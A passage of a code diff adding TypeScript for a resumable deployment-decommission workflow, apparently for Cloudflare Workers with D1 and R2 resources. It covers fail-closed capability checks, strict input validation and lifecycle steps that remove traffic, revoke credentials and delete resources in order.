+/** Authoritative durable outcome after at most one bounded group. */
+export type DecommissionAdvanceResult =
+  | Readonly<{
+      /** More work remains; the token, not this status, is continuation input. */
+      status: 'pending';
+      token: DecommissionAdvanceToken;
+    }>
+  | Readonly<{
+      /** Provider attachment blocks deletion until explicit restart. */
+      status: 'blocked';
+      token: DecommissionAdvanceToken;
+      purpose: DecommissionAttachmentPurpose;
+      attachment: DecommissionBlockedAttachment;
+    }>
+  | Readonly<{
+      /** Evidence-free terminal receipt with durable export result. */
+      status: 'complete';
+      token: DecommissionAdvanceToken;
+      result: DecommissionResult;
+    }>;
+
+/** Named backend capability whose absence makes work fail closed. */
+export type DecommissionAdvanceCapability =
+  | 'attachment-scan'
+  | 'database-residuals'
+  | 'database-export-receipt'
+  | 'database-read'
+  | 'database-delete'
+  | 'pending-artifact-inspection'
+  | 'application-r2-inspection'
+  | 'application-r2-empty'
+  | 'application-r2-delete';
+
+const CAPABILITY_MESSAGES: Readonly<
+  Record<DecommissionAdvanceCapability, string>
+> = Object.freeze({
+  'attachment-scan':
+    'backend cannot perform bounded decommission attachment scans',
+  'database-residuals': 'backend cannot inspect database deletion residuals',
+  'database-export-receipt':
+    'backend cannot write idempotent database export receipts',
+  'database-read': 'backend cannot read the database for bounded decommission',
+  'database-delete':
+    'backend cannot delete the database for bounded decommission',
+  'pending-artifact-inspection':
+    'backend cannot inspect pending ordinary Worker authority for bounded decommission',
+  'application-r2-inspection':
+    'backend cannot inspect application R2 resources',
+  'application-r2-empty': 'backend cannot attest application R2 emptiness',
+  'application-r2-delete': 'backend cannot delete application R2 resources',
+});
+
+/** Fixed configuration refusal for one missing bounded capability. */
+export class DecommissionAdvanceCapabilityError extends Error {
+  constructor(readonly capability: DecommissionAdvanceCapability) {
+    super(CAPABILITY_MESSAGES[capability]);
+    this.name = 'DecommissionAdvanceCapabilityError';
+  }
+}
+
+/** Refusal for restart without an exact current blocked operation. */
+export class DecommissionAdvanceRestartError extends Error {
+  constructor() {
+    super('decommission advance restart requires a current blocked operation');
+    this.name = 'DecommissionAdvanceRestartError';
+  }
+}
+
+function malformedAction(): never {
+  throw new Error(ACTION_ERROR);
+}
+
+/** @internal Descriptor-safe Queue-action boundary. */
+export function decommissionAdvanceActionFromUnknown(
+  value: unknown,
+): DecommissionAdvanceAction {
+  let plain: unknown;
+  try {
+    plain = cloneBoundedPlainData(value, {
+      maxDepth: 8,
+      maxNodes: 32,
+      maxScalarBytes: 2_048,
+      maxSerializedBytes: 2_048,
+      error: () => new Error(ACTION_ERROR),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [value]);
+  } catch {
+    return malformedAction();
+  }
+  if (!plain || typeof plain !== 'object' || Array.isArray(plain)) {
+    return malformedAction();
+  }
+  const candidate = plain as Record<string, unknown>;
+  const keys = Object.keys(candidate).sort();
+  if (candidate.kind === 'start' && keys.length === 1 && keys[0] === 'kind') {
+    return { kind: 'start' };
+  }
+  if (
+    (candidate.kind === 'continue' || candidate.kind === 'restart-blocked') &&
+    keys.length === 2 &&
+    keys[0] === 'kind' &&
+    keys[1] === 'token'
+  ) {
+    return { kind: candidate.kind, token: candidate.token };
+  }
+  return malformedAction();
+}
+
+/** @internal Persisted active release used by both legacy and bounded teardown. */
+export function activeExternalRelease(
+  record: FleetRecord,
+): ExternalReleaseSnapshot | undefined {
+  return (
+    record.activeRelease ??
+    ((record.backend === 'plain-worker' || isPlatformCatalogRecord(record)) &&
+    record.artifactVersion !== PENDING_ARTIFACT_VERSION
+      ? {
+          physicalScriptName: record.scriptName,
+          specDigest: record.desiredSpecDigest,
+          artifactVersion: record.artifactVersion,
+          releaseSchemaVersion: record.schemaVersion,
+          application: record.applicationBindings ?? {
+            vars: [],
+            secrets: [],
+            r2Buckets: [],
+          },
+        }
+      : undefined)
+  );
+}
+
+/** @internal Persisted non-active releases used by teardown ownership checks. */
+export function retainedExternalReleases(
+  record: FleetRecord,
+): readonly ExternalReleaseSnapshot[] {
+  const active = activeExternalRelease(record);
+  const mutable =
+    record.backend === 'plain-worker' || isPlatformCatalogRecord(record);
+  const releases = [
+    record.pendingRelease,
+    ...(mutable && record.pendingArtifactVersion && record.pendingSpecDigest
+      ? [
+          {
+            physicalScriptName: record.scriptName,
+            specDigest: record.pendingSpecDigest,
+            artifactVersion: record.pendingArtifactVersion,
+            releaseSchemaVersion: record.schemaVersion,
+          },
+        ]
+      : []),
+    record.rollbackRelease,
+    record.retiringRelease,
+    record.migrationPriorRelease,
+  ].filter(
+    (release): release is ExternalReleaseSnapshot =>
+      release !== undefined &&
+      (mutable
+        ? release.artifactVersion !== active?.artifactVersion
+        : release.physicalScriptName !== active?.physicalScriptName),
+  );
+  return releases.filter(
+    (release, index) =>
+      releases.findIndex(
+        (candidate) =>
+          (mutable
+            ? candidate.artifactVersion
+            : candidate.physicalScriptName) ===
+          (mutable ? release.artifactVersion : release.physicalScriptName),
+      ) === index,
+  );
+}
+
+/** @internal Immutable deployment mapping shared with provisioning. */
+export function assertImmutableDeploymentMapping(
+  prior: FleetRecord,
+  backend: ProvisioningBackend,
+  spec: DeploymentSpec,
+): void {
+  applicationR2Bindings(spec, prior.applicationResources ?? []);
+  if (
+    prior.tenantTag !== spec.tenantTag ||
+    prior.environment !== spec.environment ||
+    prior.backend !== backend.kind ||
+    (Object.hasOwn(prior, 'wfpMode') && !isPlatformCatalogRecord(prior)) ||
+    (prior.backend === 'workers-for-platforms' &&
+      isPlatformCatalogRecord(prior) !== (spec.authoredBy === 'platform')) ||
+    prior.scriptName !== spec.scriptName ||
+    prior.databaseName !== spec.databaseName ||
+    prior.routeHostname !== spec.routeHostname
+  ) {
+    throw new Error(
+      `deployment '${spec.tenantTag}:${spec.environment}' already exists with a different immutable resource mapping`,
+    );
+  }
+  if (
+    prior.schemaVersion > spec.schemaVersion &&
+    !(
+      backend.immutableExternalArtifacts === true &&
+      spec.authoredBy === 'external' &&
+      prior.activeRelease?.releaseSchemaVersion === spec.schemaVersion
+    )
+  ) {
+    throw new Error('provisioning refuses a schema downgrade');
+  }
+  const phase = effectiveLifecyclePhase(prior);
+  if (
+    phase !== 'ready' &&
+    phase !== 'rolling-back' &&
+    (phase === 'migrating'
+      ? (prior.migrationIntent?.targetSpecDigest ??
+        prior.pendingRelease?.specDigest ??
+        prior.pendingSpecDigest)
+      : prior.desiredSpecDigest) !== deploymentSpecDigest(spec)
+  ) {
+    throw new Error(
+      `deployment '${spec.tenantTag}:${spec.environment}' retry uses a different desired specification`,
+    );
+  }
+}
+
+/** @internal Exact persisted-D1 reconciliation shared with provisioning. */
+export async function reconcilePersistedDatabase(
+  backend: ProvisioningBackend,
+  record: Pick<FleetRecord, 'databaseId' | 'databaseName' | 'tenantTag'>,
+  allowAbsent: boolean,
+  fence: ExternalMutationFence,
+  requireOwner = true,
+): Promise<(DatabaseReference & { readonly created: false }) | undefined> {
+  return reconcilePersistedDatabaseFromCallbacks({
+    getDatabase: (databaseId) => backend.getDatabase(databaseId),
+    readOwner: (database, currentFence) =>
+      backend.readDeploymentIdentity(database, currentFence),
+    record,
+    allowAbsent,
+    requireOwner,
+    fence,
+  });
+}
+
+function requireCapability(
+  available: unknown,
+  capability: DecommissionAdvanceCapability,
+): asserts available is (...arguments_: never[]) => unknown {
+  if (typeof available !== 'function') {
+    throw new DecommissionAdvanceCapabilityError(capability);
+  }
+}
+
+function requiredCapability<Value>(
+  available: Value,
+  capability: DecommissionAdvanceCapability,
+): NonNullable<Value> {
+  requireCapability(available, capability);
+  return available as NonNullable<Value>;
+}
+
+type ReceiptCapability = Readonly<{
+  authority: string;
+  exportReceipt: NonNullable<ProvisioningBackend['exportDatabaseReceipt']>;
+}>;
+
+function receiptCapability(backend: ProvisioningBackend): ReceiptCapability {
+  const captured = captureDatabaseExportReceiptCapability(backend, () => [
+    backend.databaseExportReceiptAuthority,
+    backend.exportDatabaseReceipt,
+  ]);
+  if (!captured) {
+    throw new DecommissionAdvanceCapabilityError('database-export-receipt');
+  }
+  return {
+    authority: captured.authority,
+    exportReceipt: captured.method as ReceiptCapability['exportReceipt'],
+  };
+}
+
+/** @internal Cross-field fence before normal-decommission D1 work. */
+export function assertNormalDecommissionD1ResourcesDeleted(
+  record: Pick<FleetRecord, 'applicationResources'>,
+): void {
+  if (
+    (record.applicationResources ?? []).some(
+      (resource) => resource.state !== 'deleted',
+    )
+  ) {
+    throw new Error(D1_APPLICATION_RESOURCES_ERROR);
+  }
+}
+
+function tokenFor(record: FleetRecord): DecommissionAdvanceToken {
+  const intent = record.decommissionIntent;
+  if (!intent) throw new DecommissionAdvanceTokenOperationError();
+  return {
+    version: 1,
+    tenantTag: record.tenantTag,
+    environment: record.environment,
+    operationId: intent.operationId,
+    revision: intent.revision,
+  };
+}
+
+function authoritativeResult(record: FleetRecord): DecommissionAdvanceResult {
+  const intent = record.decommissionIntent;
+  if (!intent) throw new DecommissionAdvanceTokenOperationError();
+  const token = tokenFor(record);
+  if (intent.state === 'blocked') {
+    return {
+      status: 'blocked',
+      token,
+      purpose: intent.purpose,
+      attachment: intent.attachment,
+    };
+  }
+  if (intent.state === 'complete') {
+    return {
+      status: 'complete',
+      token,
+      result: {
+        record,
+        databaseExport: {
+          databaseId: record.databaseId,
+          location: record.databaseExportLocation as string,
+          sha256: record.databaseExportSha256 as string,
+          size: record.databaseExportSize as number,
+        },
+      },
+    };
+  }
+  return { status: 'pending', token };
+}
+
+function omitIntent(
+  record: FleetRecord,
+): Omit<FleetRecord, 'decommissionIntent'> {
+  const { decommissionIntent: _intent, ...source } = record;
+  return source;
+}
+
+function normalizeIntent(
+  intent: DecommissionAdvanceIntent,
+  record: FleetRecord,
+): DecommissionAdvanceIntent {
+  return normalizeDecommissionAdvanceIntent(intent, omitIntent(record));
+}
+
+async function writeIntent(
+  lease: FleetStateLease,
+  record: FleetRecord,
+  intent: DecommissionAdvanceIntent,
+): Promise<FleetRecord> {
+  const normalized = normalizeIntent(intent, record);
+  const next: FleetRecord = {
+    ...omitIntent(record),
+    decommissionIntent: normalized,
+  };
+  await lease.put(next);
+  return next;
+}
+
+type IntentTransition =
+  | Readonly<{
+      state: 'transitioning';
+      databaseExportReceiptAuthority?: string;
+      generation?: number;
+      lifecyclePhase?: NormalDecommissionLifecyclePhase;
+    }>
+  | Readonly<{
+      state: 'discover';
+      purpose: DecommissionAttachmentPurpose;
+      progress: DecommissionAttachmentProgress;
+      databaseExportReceiptAuthority?: string;
+      generation?: number;
+      lifecyclePhase?: NormalDecommissionLifecyclePhase;
+    }>
+  | Readonly<{
+      state: 'verify';
+      purpose: DecommissionAttachmentPurpose;
+      progress: DecommissionAttachmentProgress;
+      discoverEvidence: DecommissionAttachmentScanEvidence;
+      databaseExportReceiptAuthority?: string;
+      generation?: number;
+      lifecyclePhase?: NormalDecommissionLifecyclePhase;
+    }>
+  | Readonly<{
+      state: 'blocked';
+      purpose: DecommissionAttachmentPurpose;
+      attachment: DecommissionBlockedAttachment;
+      databaseExportReceiptAuthority?: string;
+      generation?: number;
+      lifecyclePhase?: NormalDecommissionLifecyclePhase;
+    }>;
+
+/** @internal State transition emitted by the shared bounded scan step. */
+export type DecommissionIntentTransition = IntentTransition;
+
+/** @internal Provider-neutral callbacks for one discover/verify scan chunk. */
+export interface DecommissionAttachmentScanStepOptions {
+  readonly intent: Extract<
+    DecommissionAdvanceIntent,
+    { readonly state: 'discover' | 'verify' }
+  >;
+  readonly scan: (
+    input: import('./types.js').DecommissionAttachmentScanInput,
+  ) => Promise<unknown>;
+  readonly maxProviderRequests: number;
+  readonly signal?: AbortSignal;
+  readonly persist: (
+    transition: DecommissionIntentTransition,
+  ) => Promise<FleetRecord>;
+  readonly consumeMatchingVerify: (
+    input: Readonly<{
+      intent: Extract<DecommissionAdvanceIntent, { readonly state: 'verify' }>;
+      evidence: DecommissionAttachmentScanEvidence;
+    }>,
+  ) => Promise<FleetRecord>;
+}
+
+function nextIntent(
+  intent: Exclude<DecommissionAdvanceIntent, { readonly state: 'complete' }>,
+  timestamp: string,
+  values: IntentTransition,
+): Exclude<DecommissionAdvanceIntent, { readonly state: 'complete' }> {
+  const databaseExportReceiptAuthority =
+    intent.databaseExportReceiptAuthority ??
+    values.databaseExportReceiptAuthority;
+  const common = {
+    version: 1 as const,
+    operationId: intent.operationId,
+    revision: intent.revision + 1,
+    generation: values.generation ?? intent.generation,
+    updatedAt: timestamp,
+    identity: intent.identity,
+    ...(databaseExportReceiptAuthority
+      ? { databaseExportReceiptAuthority }
+      : {}),
+    lifecyclePhase: values.lifecyclePhase ?? intent.lifecyclePhase,
+  };
+  switch (values.state) {
+    case 'transitioning':
+      return { ...common, state: values.state };
+    case 'discover':
+      return {
+        ...common,
+        state: values.state,
+        purpose: values.purpose,
+        progress: values.progress,
+      };
+    case 'verify':
+      return {
+        ...common,
+        state: values.state,
+        purpose: values.purpose,
+        progress: values.progress,
+        discoverEvidence: values.discoverEvidence,
+      };
+    case 'blocked':
+      return {
+        ...common,
+        state: values.state,
+        purpose: values.purpose,
+        attachment: values.attachment,
+      };
+  }
+}
+
+function nowIso(clock: () => number): string {
+  return new Date(clock()).toISOString();
+}
+
+function assertNormalAuthority(
+  record: FleetRecord,
+  backend: ProvisioningBackend,
+  spec: DeploymentSpec,
+  intent?: DecommissionAdvanceIntent,
+): void {
+  if (
+    record.backendSwitchIntent ||
+    intent?.identity.mode.kind === 'backend-switch'
+  ) {
+    throw new Error('normal decommission cannot consume a backend switch');
+  }
+  if (record.backend !== backend.kind) {
+    throw new Error('decommission backend does not own this deployment');
+  }
+  assertImmutableDeploymentMapping(record, backend, spec);
+  const digest = deploymentSpecDigest(spec);
+  if (intent && intent.identity.mode.requestedSpecDigest !== digest) {
+    throw new Error(
+      'decommission retry uses a different requested specification',
+    );
+  }
+  const phase = effectiveLifecyclePhase(record);
+  if (
+    !intent &&
+    (phase === 'ready' || phase === 'rolling-back') &&
+    record.desiredSpecDigest !== digest
+  ) {
+    throw new Error(
+      'decommission specification does not match durable desired state',
+    );
+  }
+}
+
+function validateReservations(spec: DeploymentSpec, record: FleetRecord): void {
+  for (const resource of record.applicationResources ?? []) {
+    assertApplicationR2ReservationIdentity(spec, resource);
+  }
+}
+
+function assertSupportedEntryLifecycle(record: FleetRecord): void {
+  const currentPhase = effectiveLifecyclePhase(record);
+  if (
+    !NORMAL_ENTRY_PHASES.has(currentPhase as NormalDecommissionLifecyclePhase)
+  ) {
+    throw new Error(
+      `cannot start bounded decommission in phase '${currentPhase}'`,
+    );
+  }
+}
+
+function requireStartCapabilities(
+  backend: ProvisioningBackend,
+  resources: readonly ApplicationR2Resource[],
+): void {
+  requireCapability(
+    backend.advanceDecommissionAttachmentScan,
+    'attachment-scan',
+  );
+  requireCapability(
+    backend.assertDatabaseDeletionResidualsRemoved,
+    'database-residuals',
+  );
+  if (resources.length > 0) {
+    requireCapability(
+      backend.findApplicationR2Bucket,
+      'application-r2-inspection',
+    );
+  }
+  if (resources.some((resource) => resource.state !== 'deleted')) {
+    requireCapability(backend.assertApplicationR2Empty, 'application-r2-empty');
+    requireCapability(
+      backend.deleteApplicationR2Bucket,
+      'application-r2-delete',
+    );
+  }
+}
+
+function assertCompleteApplicationR2Reservations(
+  resources: readonly ApplicationR2Resource[],
+): void {
+  if (
+    resources.some(
+      (resource) =>
+        resource.state === 'reserved' || resource.state === 'create-authorized',
+    )
+  ) {
+    throw new Error(
+      'normal decommission cannot consume incomplete application R2 reservation',
+    );
+  }
+}
+
+function malformedResult(): never {
+  throw new Error(RESULT_ERROR);
+}
+
+function assertReservedAttempts(value: unknown, maximum: number): void {
+  if (
+    !Number.isSafeInteger(value) ||
+    Number(value) < 0 ||
+    Number(value) > maximum
+  ) {
+    malformedResult();
+  }
+}
+
+function boundedString(value: unknown): value is string {
+  return (
+    typeof value === 'string' &&
+    value.length > 0 &&
+    value.length <= ATTACHMENT_STRING_BYTE_BOUND &&
+    new TextEncoder().encode(value).byteLength <= ATTACHMENT_STRING_BYTE_BOUND
+  );
+}
+
+function safeAttachment(value: unknown): DecommissionBlockedAttachment {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) {
+    return malformedResult();
+  }
+  const candidate = value as Record<string, unknown>;
+  const plane = candidate.plane;
+  const scriptName = candidate.scriptName;
+  const dispatchNamespace = candidate.dispatchNamespace;
+  if (plane === 'ordinary' && boundedString(scriptName)) {
+    return { plane, scriptName };
+  }
+  if (
+    plane === 'dispatch' &&
+    boundedString(scriptName) &&
+    boundedString(dispatchNamespace)
+  ) {
+    return {
+      plane,
+      scriptName,
+      dispatchNamespace,
+    };
+  }
+  return malformedResult();
+}
+
+function purposeTarget(purpose: DecommissionAttachmentPurpose) {
+  return purpose.kind === 'application-r2-detach'
+    ? ({ kind: 'r2', bucketName: purpose.bucketName } as const)
+    : ({ kind: 'd1', databaseId: purpose.databaseId } as const);
+}
+
+/** @internal Advances one strict provider-neutral discover/verify scan step. */
+export async function advanceDecommissionAttachmentScanStep(
+  options: DecommissionAttachmentScanStepOptions,
+): Promise<FleetRecord> {
+  const { intent } = options;
+  const raw = await options.scan({
+    progress: intent.progress,
+    maxProviderRequests: options.maxProviderRequests,
+    signal: options.signal,
+  });
+  let plain: unknown;
+  try {
+    plain = cloneBoundedPlainData(raw, {
+      maxDepth: RESULT_PLAIN_DATA_DEPTH_BOUND,
+      maxNodes: RESULT_PLAIN_DATA_NODE_BOUND,
+      maxScalarBytes: RESULT_PLAIN_DATA_BYTE_BOUND,
+      maxSerializedBytes: RESULT_PLAIN_DATA_BYTE_BOUND,
+      error: () => new Error(RESULT_ERROR),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [raw]);
+  } catch {
+    return malformedResult();
+  }
+  if (!plain || typeof plain !== 'object' || Array.isArray(plain)) {
+    return malformedResult();
+  }
+  const result = plain as Record<string, unknown>;
+  if (result.status === 'drift') {
+    return options.persist({
+      state: 'discover',
+      purpose: intent.purpose,
+      progress: initialWorkerAttachmentScan(purposeTarget(intent.purpose)),
+      generation: intent.generation + 1,
+    });
+  }
+  assertReservedAttempts(
+    result.providerFetchAttemptsReserved,
+    options.maxProviderRequests,
+  );
+  if (result.status === 'pending') {
+    let progress: DecommissionAttachmentProgress;
+    try {
+      progress = parseWorkerAttachmentScanProgress(
+        result.progress,
+        purposeTarget(intent.purpose),
+      );
+    } catch {
+      return malformedResult();
+    }
+    return options.persist(
+      intent.state === 'verify'
+        ? {
+            state: 'verify',
+            purpose: intent.purpose,
+            progress,
+            discoverEvidence: intent.discoverEvidence,
+          }
+        : { state: 'discover', purpose: intent.purpose, progress },
+    );
+  }
+  if (result.status === 'attached') {
+    return options.persist({
+      state: 'blocked',
+      purpose: intent.purpose,
+      attachment: safeAttachment(result.attachment),
+    });
+  }
+  if (
+    result.status !== 'complete' ||
+    typeof result.evidenceSha256 !== 'string' ||
+    !Number.isSafeInteger(result.evidenceCount)
+  ) {
+    return malformedResult();
+  }
+  const evidence = {
+    evidenceSha256: result.evidenceSha256,
+    evidenceCount: Number(result.evidenceCount),
+  };
+  if (
+    !/^[a-f0-9]{64}$/u.test(evidence.evidenceSha256) ||
+    evidence.evidenceCount < 2 ||
+    evidence.evidenceCount > WORKER_ATTACHMENT_EVIDENCE_BOUND
+  ) {
+    return malformedResult();
+  }
+  if (intent.state === 'discover') {
+    return options.persist({
+      state: 'verify',
+      purpose: intent.purpose,
+      progress: initialWorkerAttachmentScan(purposeTarget(intent.purpose)),
+      discoverEvidence: evidence,
+    });
+  }
+  if (
+    evidence.evidenceSha256 !== intent.discoverEvidence.evidenceSha256 ||
+    evidence.evidenceCount !== intent.discoverEvidence.evidenceCount
+  ) {
+    return options.persist({
+      state: 'discover',
+      purpose: intent.purpose,
+      progress: initialWorkerAttachmentScan(purposeTarget(intent.purpose)),
+      generation: intent.generation + 1,
+    });
+  }
+  return options.consumeMatchingVerify({ intent, evidence });
+}
+
+async function commitShellOnly(
+  lease: FleetStateLease,
+  record: FleetRecord,
+  intent: Exclude<DecommissionAdvanceIntent, { readonly state: 'complete' }>,
+  clock: () => number,
+  values: Parameters<typeof nextIntent>[2],
+): Promise<FleetRecord> {
+  const timestamp = nowIso(clock);
+  return writeIntent(lease, record, nextIntent(intent, timestamp, values));
+}
+
+async function commitRecord(
+  lease: FleetStateLease,
+  record: FleetRecord,
+  intent: Exclude<DecommissionAdvanceIntent, { readonly state: 'complete' }>,
+  clock: () => number,
+  recordValues: Readonly<
+    Partial<
+      Pick<
+        FleetRecord,
+        | 'applicationResources'
+        | 'databaseExportLocation'
+        | 'databaseExportSha256'
+        | 'databaseExportSize'
+        | 'phase'
+      >
+    >
+  >,
+  intentValues: Parameters<typeof nextIntent>[2],
+): Promise<FleetRecord> {
+  const timestamp = nowIso(clock);
+  const nextRecord = { ...record, ...recordValues, updatedAt: timestamp };
+  return writeIntent(
+    lease,
+    nextRecord,
+    nextIntent(intent, timestamp, intentValues),
+  );
+}
+
+export function consumeMigrationCarrier(
+  record: FleetRecord,
+  spec: DeploymentSpec,
+  requestedSpecDigest: string,
+): FleetRecord {
+  if (effectiveLifecyclePhase(record) !== 'migrating') return record;
+  const priorActive = record.activeRelease ?? activeExternalRelease(record);
+  const pendingRelease =
+    record.pendingRelease ??
+    ((record.backend === 'plain-worker' || isPlatformCatalogRecord(record)) &&
+    record.pendingArtifactVersion !== undefined &&
+    record.pendingSpecDigest !== undefined
+      ? {
+          physicalScriptName: record.scriptName,
+          specDigest: record.pendingSpecDigest,
+          artifactVersion: record.pendingArtifactVersion,
+          releaseSchemaVersion: spec.schemaVersion,
+          application: applicationBindingTopology(
+            spec,
+            record.applicationResources ?? [],
+          ),
+        }
+      : undefined);
+  const {
+    migrationIntent: _migrationIntent,
+    pendingSpecDigest: _pendingSpecDigest,
+    pendingArtifactVersion: _pendingArtifactVersion,
+    ...remaining
+  } = record;
+  return {
+    ...remaining,
+    desiredSpecDigest: requestedSpecDigest,
+    ...(priorActive ? { activeRelease: priorActive } : {}),
+    ...(pendingRelease ? { pendingRelease } : {}),
+  };
+}
+
+function clearRetainedReleases(record: FleetRecord): FleetRecord {
+  const {
+    pendingRelease: _pendingRelease,
+    migrationPriorRelease: _migrationPriorRelease,
+    rollbackRelease: _rollbackRelease,
+    retiringRelease: _retiringRelease,
+    ...remaining
+  } = record;
+  return remaining;
+}
+
+async function advanceLifecycle(
+  options: AdvanceDecommissionDeploymentOptions,
+  lease: FleetStateLease,
+  record: FleetRecord,
+  intent: Exclude<DecommissionAdvanceIntent, { readonly state: 'complete' }>,
+): Promise<FleetRecord> {
+  const { backend, spec } = options;
+  const clock = options.clock ?? Date.now;
+  const phase = intent.lifecyclePhase;
+  const resources = record.applicationResources ?? [];
+
+  if (
+    phase === 'publishing' ||
+    phase === 'ready' ||
+    phase === 'migrating' ||
+    phase === 'rolling-back'
+  ) {
+    if (resources.length > 0) {
+      const findApplicationR2Bucket = requiredCapability(
+        backend.findApplicationR2Bucket,
+        'application-r2-inspection',
+      ).bind(backend);
+      const needsEmptyAttestation = resources.some(
+        (resource) =>
+          resource.state !== 'reserved' && resource.state !== 'deleted',
+      );
+      const preflightBackend = needsEmptyAttestation
+        ? {
+            findApplicationR2Bucket,
+            assertApplicationR2Empty: requiredCapability(
+              backend.assertApplicationR2Empty,
+              'application-r2-empty',
+            ).bind(backend),
+          }
+        : { findApplicationR2Bucket };
+      validateReservations(spec, record);
+      await assertApplicationR2EmptyBeforeDecommission({
+        resources,
+        backend: preflightBackend,
+        fence: lease,
+      });
+    }
+    let consumed = record;
+    if (phase === 'migrating') {
+      if (intent.identity.mode.kind !== 'normal')
+        throw new Error('normal decommission cannot consume a backend switch');
+      consumed = consumeMigrationCarrier(
+        record,
+        spec,
+        intent.identity.mode.requestedSpecDigest,
+      );
+    }
+    return commitRecord(
+      lease,
+      consumed,
+      intent,
+      clock,
+      {},
+      { state: 'transitioning', lifecyclePhase: 'decommissioning' },
+    );
+  }
+
+  if (phase === 'decommissioning') {
+    const database = await reconcilePersistedDatabase(
+      backend,
+      record,
+      false,
+      lease,
+      true,
+    );
+    await lease.assertOwned();
+    await backend.removeTraffic(
+      spec,
+      retainedExternalReleases(record),
+      activeExternalRelease(record),
+      database as DatabaseReference,
+      lease,
+    );
+    await backend.assertTrafficRemoved(spec);
+    return commitRecord(
+      lease,
+      record,
+      intent,
+      clock,
+      {},
+      {
+        state: 'transitioning',
+        lifecyclePhase: 'traffic-removed',
+      },
+    );
+  }
+
+  if (phase === 'traffic-removed') {
+    let preflightBackend:
+      | Readonly<{
+          findApplicationR2Bucket: NonNullable<
+            ProvisioningBackend['findApplicationR2Bucket']
+          >;
+          assertApplicationR2Empty?: NonNullable<
+            ProvisioningBackend['assertApplicationR2Empty']
+          >;
+        }>
+      | undefined;
+    if (resources.length > 0) {
+      const findApplicationR2Bucket = requiredCapability(
+        backend.findApplicationR2Bucket,
+        'application-r2-inspection',
+      ).bind(backend);
+      const needsEmptyAttestation = resources.some(
+        (resource) =>
+          resource.state !== 'reserved' && resource.state !== 'deleted',
+      );
+      preflightBackend = needsEmptyAttestation
+        ? {
+            findApplicationR2Bucket,
+            assertApplicationR2Empty: requiredCapability(
+              backend.assertApplicationR2Empty,
+              'application-r2-empty',
+            ).bind(backend),
+          }
+        : { findApplicationR2Bucket };
+      validateReservations(spec, record);
+    }
+    await backend.assertTrafficRemoved(spec);
+    if (resources.length > 0) {
+      await assertApplicationR2EmptyBeforeDecommission({
+        resources,
+        backend: preflightBackend as NonNullable<typeof preflightBackend>,
+        fence: lease,
+      });
+    }
+    const database = await reconcilePersistedDatabase(
+      backend,
+      record,
+      false,
+      lease,
+      true,
+    );
+    await lease.assertOwned();
+    await backend.revokeCredentials(
+      spec,
+      retainedExternalReleases(record),
+      activeExternalRelease(record),
+      database as DatabaseReference,
+      lease,
+    );
+    return commitRecord(
+      lease,
+      record,
+      intent,
+      clock,
+      {},
+      {
+        state: 'transitioning',
+        lifecyclePhase: 'credentials-revoked',
+      },
+    );
+  }
+
+  if (phase === 'credentials-revoked') {
+    const residual = !record.platformResources
+      ? requiredCapability(
+          backend.assertDatabaseDeletionResidualsRemoved,
+          'database-residuals',
+        )
+      : undefined;
+    const database = await reconcilePersistedDatabase(
+      backend,
+      record,
+      false,
+      lease,
+      true,
+    );
+    await lease.assertOwned();
+    await backend.deleteWorker(
+      spec,
+      retainedExternalReleases(record),
+      database as DatabaseReference,
+      activeExternalRelease(record),
+      lease,
+    );
+    let nextRecord = record;
+    if (residual) {
+      await residual.call(
+        backend,
+        spec,
+        record,
+        database as DatabaseReference,
+        lease,
+      );
+      nextRecord = clearRetainedReleases(record);
+    }
+    return commitRecord(
+      lease,
+      nextRecord,
+      intent,
+      clock,
+      {},
+      {
+        state: 'transitioning',
+        lifecyclePhase: 'worker-deleted',
+      },
+    );
+  }
+
+  if (phase === 'worker-deleted') {
+    if (record.platformResources) {
+      const revokePlatformResourceCredentialsCandidate =
+        backend.revokePlatformResourceCredentials;
+      if (typeof revokePlatformResourceCredentialsCandidate !== 'function') {
+        throw new Error(
+          'backend cannot revoke trusted platform resource credentials',
+        );
+      }
+      const revokePlatformResourceCredentials =
+        revokePlatformResourceCredentialsCandidate.bind(backend);
+      const database = await reconcilePersistedDatabase(
+        backend,
+        record,
+        false,
+        lease,
+        true,
+      );
+      await lease.assertOwned();
+      await revokePlatformResourceCredentials(
+        spec,
+        record,
+        database as DatabaseReference,
+        lease,
+      );
+    }
+    return commitRecord(
+      lease,
+      record,
+      intent,
+      clock,
+      {},
+      {
+        state: 'transitioning',
+        lifecyclePhase: 'platform-credentials-revoked',
+      },
+    );
+  }
+
+  if (phase === 'platform-credentials-revoked') {
+    let nextRecord = record;
+    if (record.platformResources) {
+      const residual = requiredCapability(
+        backend.assertDatabaseDeletionResidualsRemoved,
+        'database-residuals',
+      );
+      const deletePlatformResourcesCandidate = backend.deletePlatformResources;
+      if (typeof deletePlatformResourcesCandidate !== 'function') {
+        throw new Error('backend cannot delete trusted platform resources');
+      }
+      const deletePlatformResources =
+        deletePlatformResourcesCandidate.bind(backend);
+      const database = await reconcilePersistedDatabase(
+        backend,
+        record,
+        false,
+        lease,
+        true,
+      );
+      await lease.assertOwned();
+      await deletePlatformResources(
+        spec,
+        record,
+        database as DatabaseReference,
+        lease,
+      );
+      await residual.call(
+        backend,
+        spec,
+        record,
+        database as DatabaseReference,
+        lease,
+      );
+      nextRecord = clearRetainedReleases(record);
+    }
+    return commitRecord(
+      lease,
+      nextRecord,
+      intent,
+      clock,
+      {},
+      {
+        state: 'transitioning',
+        lifecyclePhase: 'platform-resources-deleted',
+      },
+    );
+  }
+
+  if (phase === 'platform-resources-deleted') {
+    return commitRecord(
+      lease,
+      record,
+      intent,
+      clock,
+      {},
+      {
+        state: 'transitioning',
+        lifecyclePhase: 'application-resources-deleting',
+      },
+    );
+  }
+  throw new Error(`unsupported bounded decommission lifecycle '${phase}'`);
+}
+
+async function advanceR2Transition(
+  options: AdvanceDecommissionDeploymentOptions,
+  lease: FleetStateLease,
+  record: FleetRecord,
+  intent: Exclude<DecommissionAdvanceIntent, { readonly state: 'complete' }>,
+): Promise<FleetRecord> {
+  const resources = record.applicationResources ?? [];
+  const actionableIndex = resources.findIndex(
+    (resource) => resource.state !== 'deleted',
+  );
+  const actionable =
+    actionableIndex < 0 ? undefined : resources[actionableIndex];
+  const needsInspection =
+    resources.length > 0 &&
+    (actionableIndex !== 0 ||
+      (actionable !== undefined && actionable.state !== 'empty'));
+  const findApplicationR2Bucket = needsInspection
+    ? requiredCapability(
+        options.backend.findApplicationR2Bucket,
+        'application-r2-inspection',
+      ).bind(options.backend)
+    : undefined;
+  const assertApplicationR2Empty =
